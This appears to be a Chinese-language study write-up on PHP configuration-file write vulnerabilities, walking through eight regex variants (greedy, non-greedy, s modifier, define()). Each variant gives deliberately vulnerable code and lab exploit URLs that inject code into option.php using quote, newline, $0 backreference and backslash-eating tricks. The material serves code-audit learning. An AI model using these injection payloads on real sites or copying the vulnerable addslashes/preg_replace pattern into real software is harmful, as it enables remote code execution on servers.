寫配置漏洞與幾種變形學習
前言
前段時間在代碼審計時候發現了一些寫配置的漏洞,今天正好看到了這個文章,做一下學習
0×01 基礎版
特點:正則貪婪模式、無s單行模式:
option.php
以下無特殊說明,都以此文件爲配置文件
<?php
$API1 = '12123';
$API = '12123';
?>
index.php
<?php
if(isset($_GET['api']))
{
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
}
?>
傳入參數http://192.168.164.138:89/?api=aaaaa%27;%0aphpinfo();//
通過debug可以看到傳入參數的內容
寫入的配置文件
<?php
$API1 = '12123';
$API = 'aaaaa\';
phpinfo();//';
?>
可以看到$API
參數確實是我們傳入的參數,沒有寫入shell
但是再次傳參http://192.168.164.138:89/?api=aaaaa
因爲正則匹配的是兩個單引號中間的內容,即aaaa\
,用aaaa
替換後即可成功寫入shell
0×02 單行模式:
基礎版使用換行繞過,所以開發者給正則添加了s修飾符,防止換行繞過。
index.php
<?php
if(isset($_GET['api']))
{
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
}
?>
http://192.168.164.138:89/?api=;phpinfo();
http://192.168.164.138:89/?api=$0
執行完第一條之後
<?php
$API1 = '12123';
$API = ';phpinfo();';
?>
第二條執行了$0參數,在php中$0表示保存完整模式的所有匹配
對於
$file = preg_replace("/\\\$API = '.*';/s", "\$API = '{$api}';", $file);
傳入了$0就相當於把對應位置替換成$API = ';phpinfo();'
即寫入的代碼爲
<?php
$API1 = '12123';
$API = '$API = ';phpinfo();';';
?>
如果配置文件裏是define這樣還包含其他單引號的語句,將會導致寫入的配置文件格式錯誤
0×03 基礎版非貪婪模式
<?php
if(isset($_GET['api']))
{
$api = addslashes($_GET['api']);
//echo "\$API = '{$api}';";
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
}
?>
這個增加了?限定符匹配到0次或者一次即可成功,用前面的方法即可繞過。
0×04 單行非貪婪模式
正則是非貪婪模式,且增加了s修飾符:
<?php
if(isset($_GET['api']))
{
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/\\\$API = '.*?';/s", "\$API = '{$api}';", $file);
file_put_contents('./option.php', $file);
}
?>
因爲這裏使用了非貪婪模式,即我們寫入的文件爲$API = '1213232\'';
時,他會匹配到$API = '1213232\'
截至,那麼這樣就和0×01差不多,去掉%0a
即可
http://192.168.164.138:89/?api=aaaaa%27;phpinfo();//
http://192.168.164.138:89/?api=aaaaa
0×05 define基礎版
給define基礎版加上s修飾符:
option.php
<?php
define('API1', '123132');
define('API', '132123');
?>
index.php
<?php
if(isset($_GET['api']))
{
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
}
?>
這個和0x0類似,傳入
http://192.168.164.138:89/?api=aaaaa%27);%0aphpinfo();//
http://192.168.164.138:89/?api=aaaaa
即可寫入
0×06 define單行版
加入了s修飾符
<?php
if(isset($_GET['api']))
{
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
}
?>
這裏如果用0x02的方法會造成結構損壞,所以要換一種思路
http://192.168.164.138:89/?api=aaaaa\%27);phpinfo();//
可以看到
這裏呢因爲傳入的\'
經過addslashes()
轉義之後變成\\\'
到了下面的preg_replace在替換的時候會吃掉轉義符,利用這個特點,即可"吃掉"一個\
變成\\'
寫入配置文件就會變成
define('API', 'aaa\\');phpinfo();//');
0×07 define基礎版非貪婪模式
define版本的非貪婪模式,但沒有s修飾符:
<?php
if(isset($_GET['api']))
{
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
}
?>
這個呢和0x01差不多
http://192.168.164.138:89/?api=aaaaa%27);%0aphpinfo();//
http://192.168.164.138:89/?api=aaaaa
即可繞過
0×08 define單行非貪婪模式
在0×07的基礎上再加上s修飾符:
<?php
if(isset($_GET['api']))
{
$api = addslashes($_GET['api']);
$file = file_get_contents('./option.php');
$file = preg_replace("/define\('API', '.*?'\);/s", "define('API', '{$api}');", $file);
file_put_contents('./option.php', $file);
}
?>
這個類似0x04只不過多了)
,傳入即可
http://192.168.164.138:89/?api=aaaaa%27);%0aphpinfo();//
http://192.168.164.138:89/?api=aaaaa
參考文章
https://www.freebuf.com/vuls/236655.html
http://m.imooc.com/qadetail/161079
https://www.cnblogs.com/520yang/articles/7473596.html